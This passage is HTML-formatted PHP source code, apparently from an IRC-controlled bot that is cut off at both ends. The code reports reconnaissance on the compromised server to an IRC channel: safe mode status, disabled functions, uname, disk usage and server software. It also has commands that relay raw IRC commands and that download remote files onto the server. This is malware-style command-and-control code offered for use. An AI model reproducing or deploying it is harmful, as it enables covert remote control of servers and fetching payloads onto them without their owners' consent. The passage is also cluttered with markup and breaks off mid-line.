0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum218&quot;&gt; 218:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;PHP Safe Mode: [&quot;&lt;/span&gt;.$this-&amp;gt;safeMode().&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum219&quot;&gt; 219:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;PHP Disable Function: [&quot;&lt;/span&gt;.$this-&amp;gt;disabledFunc().&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum220&quot;&gt; 220:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;.$this-&amp;gt;userInfo().&lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum221&quot;&gt; 221:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;PHP Uname: [8&quot;&lt;/span&gt;.php_uname(&lt;span style=&quot;color: #006080&quot;&gt;&#39;a&#39;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum222&quot;&gt; 222:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&#39;HDD: [8 &#39;&lt;/span&gt;.$this-&amp;gt;hdd(&lt;span style=&quot;color: #006080&quot;&gt;&quot;used&quot;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&#39; Free:8 &#39;&lt;/span&gt;.$this-&amp;gt;hdd(&lt;span style=&quot;color: #006080&quot;&gt;&quot;free&quot;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&#39; Total:8 &#39;&lt;/span&gt;.$this-&amp;gt;hdd(&lt;span style=&quot;color: #006080&quot;&gt;&quot;total&quot;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&#39; ]&#39;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum223&quot;&gt; 223:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Server Software: [8&quot;&lt;/span&gt;.$_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;SERVER_SOFTWARE&#39;&lt;/span&gt;].&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum224&quot;&gt; 224:&lt;/span&gt;                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(preg_match(&lt;span style=&quot;color: #006080&quot;&gt;&quot;/ON/&quot;&lt;/span&gt;, $this-&amp;gt;safeMode()))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum225&quot;&gt; 225:&lt;/span&gt;                                                                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum226&quot;&gt; 226:&lt;/span&gt;                                                                                         $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Safe mode exec dir: [8&quot;&lt;/span&gt;.@ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&#39;safe_mode_exec_dir&#39;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum227&quot;&gt; 227:&lt;/span&gt;                                                                                         $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Safe mode include dir: [8&quot;&lt;/span&gt;.@ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&#39;safe_mode_exec_dir&#39;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum228&quot;&gt; 228:&lt;/span&gt;                                                                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum229&quot;&gt; 229:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;cURL support: [&quot;&lt;/span&gt;.$this-&amp;gt;supportedCurl().&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum230&quot;&gt; 230:&lt;/span&gt;                                                                                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Supported Database: &quot;&lt;/span&gt;.$this-&amp;gt;supportedDatabase().&lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum231&quot;&gt; 231:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum232&quot;&gt; 232:&lt;/span&gt;                                                                             &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum233&quot;&gt; 233:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum234&quot;&gt; 234:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Execute Irc raw Command.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum235&quot;&gt; 235:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !raw cmd&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum236&quot;&gt; 236:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Example: !raw JOIN #newchan&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum237&quot;&gt; 237:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum238&quot;&gt; 238:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;raw&quot;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum239&quot;&gt; 239:&lt;/span&gt;                                                                             $this-&amp;gt;send(strstr($msg, $mcmd[1]));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum240&quot;&gt; 240:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum241&quot;&gt; 241:&lt;/span&gt;                                                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum242&quot;&gt; 242:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum243&quot;&gt; 243:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Print current bot working dir.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum244&quot;&gt; 244:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !pwd&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum245&quot;&gt; 245:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum246&quot;&gt; 246:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;pwd&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum247&quot;&gt; 247:&lt;/span&gt;                                                                             $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Currently at: &quot;&lt;/span&gt;.getcwd());&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum248&quot;&gt; 248:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum249&quot;&gt; 249:&lt;/span&gt;                                                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum250&quot;&gt; 250:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum251&quot;&gt; 251:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Download remote file and save *locally*.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum252&quot;&gt; 252:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: !download url output&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum253&quot;&gt; 253:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Example: !download http://site.tld/myfile.txt file.txt&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum254&quot;&gt; 254:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Extra Note: Server will download myfile.txt from site.tld and save as file.txt.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum255&quot;&gt; 255:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum256&quot;&gt; 256:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;download&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum257&quot;&gt; 257:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(count($mcmd) &amp;gt; 2)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum258&quot;&gt; 258:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum259&quot;&gt; 259:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!is_writeable(getcwd()))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum260&quot;&gt; 260:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum261&quot;&gt; 